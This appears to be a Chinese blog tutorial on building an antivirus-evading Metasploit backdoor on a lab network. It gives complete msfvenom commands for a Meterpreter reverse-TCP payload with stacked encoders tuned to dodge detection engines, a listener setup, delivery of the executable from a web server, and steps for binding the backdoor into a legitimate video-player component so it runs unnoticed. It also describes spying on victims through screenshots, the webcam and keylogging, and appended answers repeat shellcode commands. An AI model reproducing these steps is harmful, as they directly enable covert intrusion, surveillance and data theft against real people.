渗透测试(一)-Msf生成免杀后门(内网篇)

2 篇文章 0 订阅
2 篇文章 0 订阅

实验环境:

攻击机:kali linux-2021.1(192.168.56.128)

靶机:Windows10(192.168.1.120)

推荐两个免费在线木马检测网站:VirusScanVirusTotal

原理图:

1. Meterpreter简介

  • Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道,使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接,Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统,在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
  • Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的。meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。
  • 需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。
  • Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。

2. 生成shell.exe木马文件

sudo su

使用一个编码器:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/shell.exe

VirusScan上检查一下木马程序:

可以看到总共50个查杀引擎,有25个查出了病毒,也就是说免杀率只有50%,效果一般般!

使用两个编码器组合编码:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 20 | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f exe -o /var/www/html/shell2.exe

同样在VirusScan上检查一下木马程序:

可以看到50个查杀软件有15个查出来了病毒,70%的免杀率,比一次编码的效果要好!

使用一个编码器和两个编码器的区别:理论上使用两个编码器的免杀效果更好,但使用两个编码器编码时花的时间更长,且编码后的程序也更大。

参数介绍:

  • -a:指定架构如 x86 x64。 x86 代表 32 位, x64 代表 64 位。 32 位软件可以在 64 位系统上运行。 所以我们生成 32 位的后门,这样在 32 位和 64 位系统中都可以使用。
  • --platform:指定平台,这里选择 windows,通过 --l platforms 可以查看所有支持的平台
  • -p:设置攻击载荷,我们使用 windows/meterpreter/reverse_tcp,可以通过-l payloads 查看所 有攻击载荷
  • LHOST:目标主机执行程序后连接我们 Kali 的地址
  • LPORT:目标主机执行程序后连接我们 Kali 的端口
  • -b:去掉坏字符,坏字符会影响 payload 正常执行。 扩展:\x00 代表16进制的“00”组成的字符串。通过ASCII码换成能识别的就是:"00" - "00000000" - NUL。由于"00000000"是不可见字符,所以代码中没用。
  • -e:指定编码器,也就是所谓的免杀,x86/shikata_ga_nai 是 msf 自带的编码器,可以通过 -l encoders 查看所有编码器
  • -i:指定 payload 有效载荷编码迭代次数。 指定编码加密次数,为了让杀毒软件,更难查出源代码
  • -f:指定生成格式,可以是 raw,exe,elf,jar,c 语言的,python 的,java 的……,用 -l formats 查看所有支持的格式
  • -o:指定文件名称和导出位置。 指定到网站根目录/var/www/html,方便在肉机上下载后门程序y

3. 在 MSF 上启动 handler 开始监听后门程序

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.128
set LPORT 4444
run

4. 在 Kali 上启动 apache 为靶机提供后门程序下载

新建一个命令行终端,然后输入:

systemctl start apache2

5. 打开 Win10 访问 Kali 搭建的 Web 服务下载木马文件。

  • win10的浏览器中输入 http://192.168.56.128/shell.exe 下载shell.exe木马程序。

双击运行shell.exe程序:(点更多信息->仍要运行)

 

 

6. 在 MSF 终端查看建立的 session

运行完shell.exe程序,返回kali命令行中可以看到meterpreter会话已经建立成功:

接下来就可以使用meterpreter命令进行一顿乱操作了(例如 屏幕截图,摄像头拍照,远程控制,获取键盘信息,获取系统信息等等)![滑稽]。戳我查看meterpreter命令大全

7. 在软件中加入后门程序

由于制作的shell.exe文件运行是没有任何反应的,且会被Microsoft Defender阻止应用启动,这样会被别人怀疑并杀掉这个进程,那么你的会话就会中断。这个时候我们就需要将木马程序绑定在其它软件程序中,在别人运行其它软件时带着我们的木马程序偷偷的运行,而不会被发现!

关注公众号[人人皆是程序猿],回复【KB】获取软件链接。

下载软件后解压,先查看主程序会调用哪些附加的小程序,然后把后门和这些小程序绑定到一起。当然也可以直接加到主程序上,但是加主程序上,有时后会报错。 当 QvodPlayer.exe 主程序运行时,会自动调用 QvodTerminal.exe 这个小程序。我们的目标就是将后门和QvodTerminal.exe绑定在一起!

  • 将QvodTerminal.exe复制到kali中
  • 打开命令行输入:
sudo su
  • 生成绑定后门的QvodTerminal.exe程序
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=4444 -b"\x00" -e x86/shikata_ga_nai -i 10 -x QvodTerminal.exe -f exe -o /var/www/html/QvodTerminal.exe
  • 在靶机(win10)浏览器上访问:http://192.168.56.128/QvodTerminal.exe 下载 QvodTerminal.exe,将下载的 QvodTerminal.exe 替换原文件中的 QvodTerminal.exe
  • 重复第3步开启监听
  • 双击运行QvodPlayer.exe就可以成功建立会话了

附:msf还可以生成 .c .py格式的攻击载荷,在这里我就不列举了出来!有兴趣的可以自行百度。

目前渗透只能在内网里自己yy多没意思,下面介绍msf外网渗透教程:渗透测试(二)-Metasploit生成免杀后门(外网篇)

青年时种下什么,老年时就收获什么。

 ——易卜生
  • 4
    点赞
  • 60
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
### 回答1: MSF生成shellcode是一种常见的渗透测试技术,可以用于获取目标系统的控制权。使用MSF生成shellcode需要掌握一定的技术知识和经验,包括了解目标系统的漏洞、了解不同类型的shellcode以及使用MSF生成工具等。通过合理使用MSF生成shellcode,可以有效提高渗透测试的效率和成功率。 ### 回答2: MSF(Metasploit Framework)是一个广泛使用的渗透测试工具,常用于开发和测试网络安全漏洞。它的一个特色是可以自动生成各种Payload,包括各种平台的Shellcode。 Shellcode是一种十六进制编码的机器语言代码,它通常被黑客和渗透测试人员用于攻击目标计算机系统。通过使用MSF Framework,我们可以生成各种类型的Shellcode,这些Shellcode可以按照我们自己的需要进行定制。 在MSF Framework中,我们可以使用msfvenom工具生成Shellcode,该工具是一个十分强大的Payload 生成器,使用起来非常简单。首先,我们要指定Payload的类型,比如说是Windows还是Linux,以及处理器架构和操作系统版本。 生成Windows平台的Shellcode,我们可以使用下面这条命令: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f hex -o shellcode.txt 其中,“-p”指定Payload,这里我们使用的是windows/meterpreter/reverse_tcp,它可以反向连接我们指定的IP地址和端口。LHOST是我们的IP地址,LPORT是监听的端口。然后我们指定输出格式是hex,将其输出到shellcode.txt文件中。 生成Linux平台的Shellcode也很简单,我们可以使用下面这条命令: msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f hex -o shellcode.txt 这里我们使用的是linux/x86/shell/reverse_tcp Payload,它也可以反向连接指定的IP地址和端口。 总的来说,生成Shellcode是非常重要的黑客工作,使用MSF Framework的msfvenom工具可以帮我们快速生成各种类型的Shellcode,而且十分方便实用。但是需要注意的是,使用Shellcode进行攻击可能会违法,所以使用前要自觉遵守相关法律规定。 ### 回答3: MSF是Metasploit框架的简称,它是一种广泛使用的网络攻击工具。MSF有许多功能,其中一个基本功能就是生成shellcode。 Shellcode是位于程序中的二进制代码,其目的是执行特定的操作,比如弹出一个命令行窗口来执行攻击者命令等等。在网络攻击中,shellcode往往是黑客的“最后一击”,用来穿过目标系统的防御措施,从而实现控制盗窃信息或实施其他恶意行为。 MSF生成shellcode的步骤如下: 1. 打开MSF控制台,使用"msfvenom"命令来生成shellcode。我们可以使用如下命令来进行生成msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker IP address> LPORT=<attacker port number> -f <output file format> -o <output file location> 其中,“-p"参数代表payload(负载,即要注入目标系统的代码),windows/meterpreter/reverse_tcp是要注入的代码类型;"LHOST"参数代表攻击者的IP地址,"LPORT"参数代表攻击者的端口号;"-f"参数代表输出文件的格式;"-o"参数代表输出文件的位置。 2. 运行该命令后,MSF生成自定义的shellcode,其格式为二进制代码。我们可以将其保存在本地,以备后续使用。 3. 将shellcode注入到目标系统中。可以使用一些漏洞利用工具,如MSF框架,或在攻击者手动操作目标系统时,利用目标服务器上已知漏洞的服务向该服务器注入shellcode。一旦该shellcode开始运行,攻击者就可以进入目标服务器并获取所需的信息。 需要注意的是,生成shellcode需要有一定的网络安全知识以及操作系统相关知识。同时,使用MSF框架及其相关工具进行攻击是非法行为,一定要遵守法律规定。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿航的博客

我比你有钱,请不要打赏!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值